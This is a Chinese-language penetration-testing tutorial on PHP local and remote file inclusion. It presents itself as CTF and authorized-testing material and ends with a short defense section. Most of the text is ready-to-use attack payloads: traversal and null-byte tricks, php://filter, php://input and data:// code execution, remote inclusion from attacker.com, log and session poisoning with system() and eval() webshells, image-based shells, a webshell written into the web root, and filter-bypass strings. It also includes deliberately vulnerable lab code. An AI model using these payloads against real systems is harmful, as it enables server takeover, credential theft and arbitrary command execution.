
如果你是一名Web安全工程师或渗透测试人员正在为CTF比赛或企业安全评估做准备那么“文件包含漏洞”这个名词你一定不陌生。但你是否曾有过这样的困惑明明理解了本地文件包含LFL和远程文件包含RFL的基本概念在实战中却依然屡屡碰壁为什么靶场环境能轻松利用到了稍微复杂点的真实场景就无从下手问题的核心在于大多数教程只停留在“是什么”的层面告诉你“include函数很危险”却很少深入剖析“为什么”以及“在什么条件下”它能被利用。这导致很多学习者知其然而不知其所以然面对变种和防护措施时束手无策。本文将彻底改变这一现状。我们不只复述概念而是聚焦于“Web文件包含漏洞的深度利用与实战绕过”。我们将从一个关键判断出发文件包含漏洞的真正威力远不止读取/etc/passwd而在于它如何与服务器配置、编码逻辑、过滤规则相互作用最终演变为获取Webshell、执行系统命令的致命跳板。你将通过本文掌握原理深潜从PHP包含机制出发理解包含漏洞的本质是“将任意文件内容作为代码执行”。实战扩展超越基础LFI/RFI深入php://、zip://、data://等伪协议的高级利用。绕过艺术系统学习针对路径遍历过滤、后缀名限制、协议禁用的多种绕过技巧。链式攻击学习如何将文件包含与日志注入、Session文件、临时文件等结合形成组合拳。防御视角从攻击手法反推理解真正有效的安全防护应该怎么做。本文结构清晰包含大量可复现的代码示例和排查思路适合收藏作为实战手册。让我们直接切入核心。1. 文件包含漏洞被低估的“代码执行引擎”很多人把文件包含漏洞简单地理解为“读文件”这是最大的误解。它的本质是“动态代码引入与执行”。想象一下这个场景一个PHP应用根据用户选择的“主题”来加载不同的头部文件。// index.php $theme $_GET[theme]; include(/themes/ . $theme . .php);开发者的本意是让用户选择blue或red从而包含/themes/blue.php。但如果用户传入theme../../../etc/passwd%00呢在特定PHP版本下%00空字节会截断后面的.php导致服务器尝试包含/etc/passwd。虽然/etc/passwd不是PHP代码包含它会直接暴露其内容。这仅仅是“读文件”。真正的危险在于如果被包含的文件内容会被PHP解析器执行。例如如果攻击者能控制包含一个自身可写的日志文件并在User-Agent中注入PHP代码那么包含该日志文件就等同于执行了任意PHP代码。为什么它比“文件上传漏洞”更隐蔽文件上传需要攻击者找到一个上传点并绕过内容检查。文件包含可能存在于任何一个动态加载资源的地方如模板、语言包、配置文件加载且往往没有明显的“上传”动作更容易被开发者忽略。为什么它比“SQL注入”更致命SQL注入的影响范围通常局限于数据库窃取数据、篡改数据。成功的文件包含漏洞利用往往直接意味着服务器被完全控制获得Webshell危害等级更高。因此在审计代码时任何用户输入直接或间接传递给include、require、include_once、require_once、file_get_contents在某些场景下等函数的地方都应视为高危风险点。2. 核心概念辨析LFI、RFI与伪协议包含2.1 本地文件包含LFILFI是指包含服务器本地文件的漏洞。利用前提是攻击者能够通过路径遍历等手段定位到目标文件。常见敏感文件路径Linux/Unix/etc/passwd # 用户账户信息 /etc/shadow # 用户密码哈希需root权限 /var/log/apache2/access.log # Apache访问日志 /var/log/nginx/access.log # Nginx访问日志 /proc/self/environ # 当前进程环境变量 ~/.bash_history # 当前用户bash历史命令 /var/www/html/config.php # 网站配置文件基础利用示例假设存在漏洞的URL为http://vuln-site.com/index.php?pageabout后端代码include($_GET[page] . .php);攻击者可以尝试http://vuln-site.com/index.php?page../../../etc/passwd%00注%00截断在PHP 5.3.4且magic_quotes_gpcoff时有效2.2 远程文件包含RFIRFI是指包含远程服务器上文件的漏洞。利用前提是PHP配置中allow_url_include选项为On默认自PHP5.2后为Off。利用条件allow_url_fopen Onallow_url_include On目标程序未对包含路径进行有效过滤如禁止http://、https://、ftp://等协议头。基础利用示例攻击者在自己的服务器http://attacker.com/shell.txt上放置一个内容为?php phpinfo();?的文件。 存在漏洞的URLhttp://vuln-site.com/index.php?filehttp://attacker.com/shell.txt后端代码include($_GET[file]);访问该链接服务器会远程包含并执行shell.txt中的PHP代码输出phpinfo()信息。重要区别LFI需要攻击者已经在服务器上有“可读且内容可控/可预测”的文件。RFI只要配置允许攻击者可以从外部完全控制被包含的代码内容利用难度更低危害更直接。因此在安全配置中务必确保allow_url_include和allow_url_fopen为Off。2.3 PHP伪协议包含这是LFI利用的“王牌”它让攻击者无需依赖RFI配置也能实现“将非PHP文件作为代码执行”或“灵活读取文件”。以下是几个关键协议协议作用常用场景php://filter对本地文件进行读写过滤转换。读取PHP源码经过Base64编码绕过解析、字符串处理。php://input访问请求的原始数据流。执行POST请求体中的PHP代码。data://直接包含数据流。将PHP代码直接内嵌在URL中执行类似RFI。zip://包含ZIP压缩包中的文件。配合文件上传绕过后缀名检查。phar://包含PHAR归档中的文件PHP归档。同上功能更强大。伪协议是LFI漏洞利用水平的分水岭。掌握它们意味着你能够利用的漏洞场景呈指数级增长。3. 环境准备与漏洞靶场搭建为了安全地学习和实验我们强烈建议在本地或隔离的虚拟机中搭建靶场环境。3.1 基础环境操作系统 Kali Linux, Ubuntu 或 Windows WSL2。Web服务器 Apache2 或 Nginx。PHP版本 建议安装PHP 5.x如5.4、5.6和PHP 7.x两个版本。许多经典漏洞如%00截断在特定版本中才能复现。可以使用phpbrew或Docker来管理多版本。数据库 按需安装本实验非必须。3.2 创建漏洞演示代码在Web根目录如/var/www/html下创建以下文件1. 基础LFI漏洞文件 (lfi_basic.php):?php // 模拟存在漏洞的页面包含功能 $file $_GET[file]; if(isset($file)) { include($file); } else { echo Please provide a file parameter.; } ?2. 带后缀限制的LFI文件 (lfi_with_ext.php):?php // 开发者试图通过添加后缀来修复漏洞但方法不安全 $page $_GET[page]; include($page . .php); ?3. 用于日志注入实验的页面 (visit.php):?php // 一个简单的页面记录访问日志 echo Your visit has been logged.; ?3.3 配置PHP以启用关键功能用于实验编辑PHP配置文件如/etc/php/7.4/apache2/php.ini确保以下设置然后重启Apache。; 允许访问URL对象为RFI和部分伪协议实验开启实验后请关闭 allow_url_fopen On allow_url_include On ; 关闭魔术引号模拟老旧或不安全配置 magic_quotes_gpc Off ; 显示错误方便调试 display_errors On display_startup_errors On error_reporting E_ALL安全警告这些配置绝不允许在生产环境中开启。本实验仅在隔离环境进行。4. 核心利用流程拆解从读取到代码执行一个完整的文件包含攻击链通常遵循“信息收集 - 漏洞探测 - 利用扩大 - 持久化”的流程。我们重点拆解“利用扩大”环节。4.1 第一步确认漏洞存在与类型探测LFI尝试包含/etc/passwd或C:\Windows\win.ini等已知存在且可读的文件。/lfi_basic.php?file../../../../etc/passwd探测RFI尝试包含一个不存在的远程URL观察错误信息。或者使用http://attacker.com/test.txt?末尾加?来防止服务器添加后缀。/lfi_basic.php?filehttp://your-ip/test.txt?观察响应成功读取文件内容或出现“URL file-access is disabled”等错误都能帮助你判断漏洞类型和配置。4.2 第二步利用php://filter读取源码当直接包含.php文件时服务器会执行它而非显示源码。php://filter可以将其内容进行编码转换后输出。利用链读取网站配置文件获取数据库密码或其他敏感信息。/lfi_basic.php?filephp://filter/convert.base64-encode/resourceindex.php /lfi_basic.php?filephp://filter/convert.base64-encode/resource../config.php访问上述URL你会得到经过Base64编码的PHP文件源码。将其解码即可。# 在Kali Linux中解码 echo PD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8 | base64 -d4.3 第三步利用php://input或data://执行代码当allow_url_includeOn时这两个协议是获取代码执行权限的利器。方法A使用php://input使用Burp Suite或Curl发起POST请求。在请求体中直接写入PHP代码。POST /lfi_basic.php?filephp://input HTTP/1.1 Host: vuln-site.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 ?php phpinfo();?方法B使用data://直接在URL中内嵌代码更为简便。/lfi_basic.php?filedata://text/plain,?php phpinfo();? /lfi_basic.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b注意代码中的?php ... ?需要进行URL编码4.4 第四步利用日志文件进行“无RFI”代码执行这是LFI利用中最经典、最实用的技巧。思路是将PHP代码注入到服务器某个可读的文件中如访问日志、错误日志然后通过LFI去包含这个日志文件。操作流程找到日志路径通常为/var/log/apache2/access.log或/var/log/nginx/access.log。可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来发现。注入PHP代码在HTTP请求的某个字段如User-Agent, Referer中插入PHP代码。curl -H User-Agent: ?php system(\$_GET[cmd]);? http://vuln-site.com/visit.php通过LFI包含日志并执行命令/lfi_basic.php?file/var/log/apache2/access.logcmdid如果成功服务器会执行日志文件中的system(id)代码并返回命令执行结果。关键点日志文件通常体积庞大包含它可能导致超时或内存耗尽。可以尝试在注入后立即访问或者寻找更小的日志文件如SSH日志/var/log/auth.log。5. 完整实战示例组合拳获取Webshell假设我们面对一个目标http://target.com/index.php?modulenews后端代码推测为include(‘./modules/’ . $_GET[‘module’] . ‘.php’);我们的目标上传一个Webshell并执行。步骤1信息收集与漏洞确认# 尝试路径遍历确认LFI http://target.com/index.php?module../../../../etc/passwd%00 # 如果成功说明存在LFI且可能支持%00截断PHP版本较老。步骤2尝试伪协议读取源码# 读取index.php本身了解程序结构 http://target.com/index.php?modulephp://filter/convert.base64-encode/resourceindex # 注意这里参数是module后端会自动加.php所以resourceindex对应index.php。 # 解码后我们可能发现其他功能点或配置文件路径。步骤3寻找可写、可包含的文件方案A日志文件如上文所述。方案BSession文件。如果网站使用PHP Session且我们知道Session ID可以尝试向Session文件中注入代码。Session文件路径通常为/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]。我们可以通过Cookie设置PHPSESSID为?php phpinfo();?需进行URL编码然后通过LFI包含这个Session文件。# 请求1设置恶意的Session ID curl -b PHPSESSID?php phpinfo();? http://target.com/ # 请求2包含Session文件需要猜测或爆破文件名 http://target.com/index.php?module../../../../tmp/sess_?php phpinfo();? # 注意文件名中的 ?等字符需要根据系统环境处理成功率受环境限制。步骤4利用文件上传包含获取Webshell假设目标网站还有一个头像上传功能只允许.jpg、.png后缀并对文件内容进行了检查。制作图片马将一个Webshell代码附加到一张真实图片的末尾。echo ?php eval($_POST[cmd]);? shell.jpg上传文件成功上传shell.jpg获得路径如/uploads/avatar/12345.jpg。利用包含漏洞执行图片马使用zip://或phar://协议。zip://利用先将图片马压缩成ZIP然后上传这个ZIP文件如果允许上传.zip。假设上传后路径为/uploads/temp.zip。http://target.com/index.php?modulezip:///var/www/html/uploads/temp.zip%23shell.jpg%23是#的URL编码用于指定ZIP包内的文件phar://利用更通用。即使文件后缀是.jpg只要文件内容符合PHAR格式就可以用phar://包含执行。这需要先构造一个特殊的PHAR文件然后修改后缀为.jpg上传。构造PHAR文件需要脚本支持此处不展开。步骤5直接写入Webshell需有可写目录权限如果通过LFI能执行命令可以直接写入Webshell。# 通过之前的日志包含或php://input执行命令写入文件 http://target.com/index.php?module/var/log/apache2/access.logcmdecho ?php eval($_POST[ant]);? /var/www/html/shell.php然后访问http://target.com/shell.php使用密码ant进行连接。6. 高级绕过技巧应对各种过滤现代应用会部署各种WAF或自定义过滤规则我们需要掌握绕过方法。6.1 路径遍历过滤绕过绝对路径替代相对路径如果过滤../尝试直接使用绝对路径。?file/etc/passwd ?fileC:\Windows\System32\drivers\etc\hosts编码绕过URL编码..%2f(/),%2e%2e%2f(../),%252e%252e%252f(双重URL编码)。Unicode编码在某些上下文中可能被解析。超长路径截断在旧系统/旧PHP版本中使用超长文件名可能使系统自动截断。?file../../../etc/passwd/./././.[重复数百次]./././.6.2 后缀名限制绕过空字节截断%00需PHP5.3.4。?page../../../etc/passwd%00路径长度截断Windows下路径最大长度259字节Linux下4096字节。添加大量./或/使总长度超限系统会丢弃后面的后缀。?page../../../etc/passwd/./././.[重复]...利用协议使用php://filter等协议时其后缀限制通常无效。?pagephp://filter/readconvert.base64-encode/resource../../config问号截断在URL中?后的内容被视为查询参数不影响文件路径。这在RFI中常用在LFI中某些场景也有效。?pagehttp://evil.com/shell.txt? ?page../../../etc/passwd?.php6.3 协议黑名单绕过如果黑名单了http://、php://等字符串。大小写混淆PHP://、PhP://。嵌套协议php://filter/convert.base64-encode/resourcephp://input某些场景。使用不常见的协议file://、expect://需安装扩展、ssh2://等。利用编码对协议名进行URL编码、双重编码。6.4 实战综合绕过示例假设代码过滤如下$file str_replace(array(http://, https://, ftp://, php://, .., etc/passwd), , $_GET[file]); include($file . .php);绕过思路使用pHp://大小写绕过php://的替换。使用....//双写绕过..的替换。str_replace只替换一次....//被替换掉中间的..后剩下的正好是../。最终Payload?filepHp://filter/convert.base64-encode/resource....//....//....//etc/passwd经过过滤后pHp://保持不变....//变成../成功读取/etc/passwd。7. 常见问题与排查思路在实战利用过程中你可能会遇到各种错误。下表列出了常见问题及解决方法问题现象可能原因排查方式解决方案包含/etc/passwd返回空白或错误1. 文件不存在Windows靶场。2. PHP配置open_basedir限制。3. Web服务器无读取权限。1. 尝试包含Web目录下的已知文件。2. 查看PHP错误日志。3. 尝试包含/proc/self/cwd/index.php当前工作目录。1. 切换为Windows路径测试。2. 尝试绕过open_basedir有专门技巧。3. 寻找其他可读文件。使用php://input无反应1.allow_url_includeOff。2. 请求不是POST方法。3. 包装器被禁用。1. 检查phpinfo()中的配置。2. 确认使用Burp或Curl发送了POST数据。1. 尝试data://协议。2. 转向日志包含或文件上传利用。日志包含成功但代码不执行1. 日志中的PHP代码被转义或破坏。2. 包含的日志文件路径不对。3. 日志文件权限问题。1. 查看日志文件原始内容确认代码是否完整。2. 尝试包含更小的日志文件。3. 检查文件权限是否为Web用户可读。1. 确保注入的代码没有特殊字符被转义。2. 使用?短标签或?php echotest;?这类简单代码测试。zip://或phar://协议无效1. PHP未支持对应包装器。2. 文件路径语法错误。3. ZIP文件内部路径不对。1. 查看phpinfo()中Registered PHP Streams。2. 检查路径中的#是否编码为%23。3. 确认ZIP包内文件存在。1. 确保使用绝对路径。2. 正确编码#号。3. 使用phar://时确保文件是有效的PHAR格式。包含后页面布局错乱或只显示部分内容被包含的文件输出内容破坏了原页面HTML结构。查看网页源代码。使用php://filter的read和encode功能或通过Burp查看原始响应。8. 防御最佳实践从攻击者视角加固理解了攻击手法防御就更有针对性。以下是从开发和安全运维角度给出的建议8.1 开发阶段绝对禁止用户输入直接控制包含路径。这是根本。使用白名单机制。如果必须动态包含应使用固定的映射数组。$allowed_pages array(home home.php, about about.php, contact contact.php); $page $_GET[page]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(404.php); }严格限制包含目录。使用basename()函数获取文件名或使用realpath()检查最终路径是否在允许的目录内。$base_dir /var/www/html/includes/; $file $_GET[file]; $real_path realpath($base_dir . $file); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(Invalid file.); }关闭危险特性。在php.ini中allow_url_include Off allow_url_fopen Off及时升级。使用稳定的PHP版本避免已知的截断类漏洞。8.2 安全配置配置open_basedir。将PHP可访问的文件限制在网站目录内。Web服务器权限最小化。以低权限用户运行PHP-FPM或Apache模块并确保其无法读取系统关键文件如/etc/shadow。严格控制日志目录权限。确保Web用户对日志文件只有追加写入权限没有读取权限这可能会影响一些日志分析工具需权衡。部署Web应用防火墙WAF。配置规则拦截常见的路径遍历、协议包装器等攻击特征。8.3 代码审计与渗透测试在SDL安全开发生命周期中引入代码审计重点检查所有文件操作函数。定期进行渗透测试将文件包含漏洞作为测试项。使用静态代码分析工具SAST辅助发现潜在漏洞。文件包含漏洞如同一把隐藏在代码深处的“万能钥匙”攻击者一旦获得它就能打开通往服务器核心的大门。防御的关键不在于在门上加多少把锁过滤规则而在于从根本上不把钥匙的制作方法交给用户。通过本文的深度剖析你应该已经超越了“读取/etc/passwd”的初级阶段掌握了利用伪协议、组合日志注入、绕过过滤规则的高级技巧。建议你在授权的靶场环境中反复练习这些技巧并深刻理解其背后的原理。只有这样当你进行安全审计或渗透测试时才能一眼看穿那些看似无害的include语句背后潜藏的巨大风险并为企业构建起真正有效的防御体系。